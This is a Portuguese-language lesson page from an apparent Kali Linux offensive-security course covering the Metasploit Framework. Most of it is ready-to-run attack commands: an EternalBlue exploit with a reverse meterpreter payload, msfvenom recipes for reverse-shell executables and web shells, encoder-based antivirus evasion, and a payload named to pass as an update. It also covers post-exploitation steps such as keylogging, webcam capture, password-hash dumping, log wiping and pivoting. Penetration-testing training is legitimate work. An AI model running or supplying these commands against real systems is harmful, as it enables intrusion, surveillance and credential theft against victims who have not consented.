kb.erickguedes.com
Kali Linux: Ferramentas de Segurança Ofensiva

Metasploit Framework

Aula 3 de 7

Metasploit Framework

msfconsole

# Iniciar console Metasploit
msfconsole
msfconsole -q          # Modo quiet (sem banner)

Comandos Essenciais (dentro do msfconsole)

help                                # Ajuda completa
search [termo]                      # Buscar módulo
use [caminho]                       # Usar módulo
show options                        # Mostrar opções
show payloads                       # Mostrar payloads disponíveis
show targets                        # Mostrar alvos compatíveis
set [OPÇÃO] [valor]                 # Configurar opção
setg [OPÇÃO] [valor]                # Configurar globalmente
unset [OPÇÃO]                       # Remover opção
run / exploit                       # Executar exploit
check                               # Verificar se alvo é vulnerável
back                                # Voltar ao menu principal
sessions -l                         # Listar sessões ativas
sessions -i [ID]                    # Interagir com sessão
info                                # Detalhes do módulo atual

Exemplo Prático

# Buscar exploit para MS17-010 (EternalBlue)
msf6 > search ms17-010

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.10
msf6 > set LPORT 4444
msf6 > exploit

Payloads

# Listar payloads para um exploit
msf6 > show payloads

# Payloads comuns
windows/meterpreter/reverse_tcp       # Windows reverse meterpreter
linux/x64/meterpreter/reverse_tcp     # Linux reverse meterpreter
php/meterpreter/reverse_tcp           # PHP reverse
python/meterpreter/reverse_tcp        # Python reverse
java/meterpreter/reverse_tcp          # Java reverse

# Tipos de payload
# Reverse shell: alvo conecta ao atacante (LHOST:LPORT)
# Bind shell: alvo abre porta, atacante conecta
# Stageless: payload completo em um único estágio
# Staged: payload pequeno + download do estágio maior

msfvenom (geração de payloads)

# Gerar payloads fora do msfconsole

# Windows reverse shell (stageless)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o payload.exe

# Meterpreter reverse staged
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe

# Linux reverse
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf

# PHP reverse
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.php

# Python reverse
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -o shell.py

# Web payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f asp -o shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.jsp

# Encoder (evasão)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

Meterpreter

# Comandos dentro de sessão meterpreter
help                                # Listar comandos
sysinfo                             # Info do sistema
getuid                              # Usuário atual
getsystem                           # Tentar elevação de privilégio
ps                                  # Listar processos
migrate [PID]                       # Migrar para outro processo
shell                               # Shell do sistema
download [origem] [destino]         # Baixar arquivo
upload [origem] [destino]           # Subir arquivo
screenshot                          # Print da tela
keyscan_start                       # Iniciar keylogger
keyscan_dump                        # Obter teclas pressionadas
webcam_snap                         # Foto da webcam
hashdump                            # Extrair hashes de senha (Windows)
clearev                             # Limpar logs do evento
background                          # Background da sessão

Resource Scripts

# Automatizar execução
# Criar arquivo .rc com comandos msfconsole
# Conteúdo do arquivo auto_exploit.rc:
# use exploit/multi/handler
# set PAYLOAD windows/meterpreter/reverse_tcp
# set LHOST 192.168.1.10
# set LPORT 4444
# exploit -j

# Executar script
msfconsole -r auto_exploit.rc

Pivoting

Após comprometer um host, use-o como pivô para acessar redes internas:

# No meterpreter, adicionar rota
run autoroute -s 10.0.0.0/24

# Port forwarding
portfwd add -L 0.0.0.0 -l 8080 -p 80 -r 10.0.0.2

# Scan via pivô (inside meterpreter)
run auxiliary/scanner/portscan/tcp RHOSTS=10.0.0.0/24 PORTS=445

Auxiliary Modules

# Módulos auxiliares (scan, discovery, fuzzing)
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > use auxiliary/scanner/http/http_version
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 > use auxiliary/scanner/ftp/ftp_version
msf6 > use auxiliary/scanner/mssql/mssql_ping

# SMB enumeration
msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 > use auxiliary/scanner/smb/smb_login

Lab: Exploração Completa

# 1. Configurar handler (modo listen)
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; exploit"

# 2. Buscar exploits por CVE
msf6 > search cve:2021 type:exploit

# 3. Gerar payload com msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o /tmp/update.exe

# 4. Executar módulo auxiliar para descobrir serviços
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.1.0/24
msf6 > set THREADS 20
msf6 > run

Metasploit é o canivete suíço da exploração. Domine msfvenom para payloads, meterpreter para pós-exploração e resource scripts para automação. Use módulos auxiliares antes de explorar.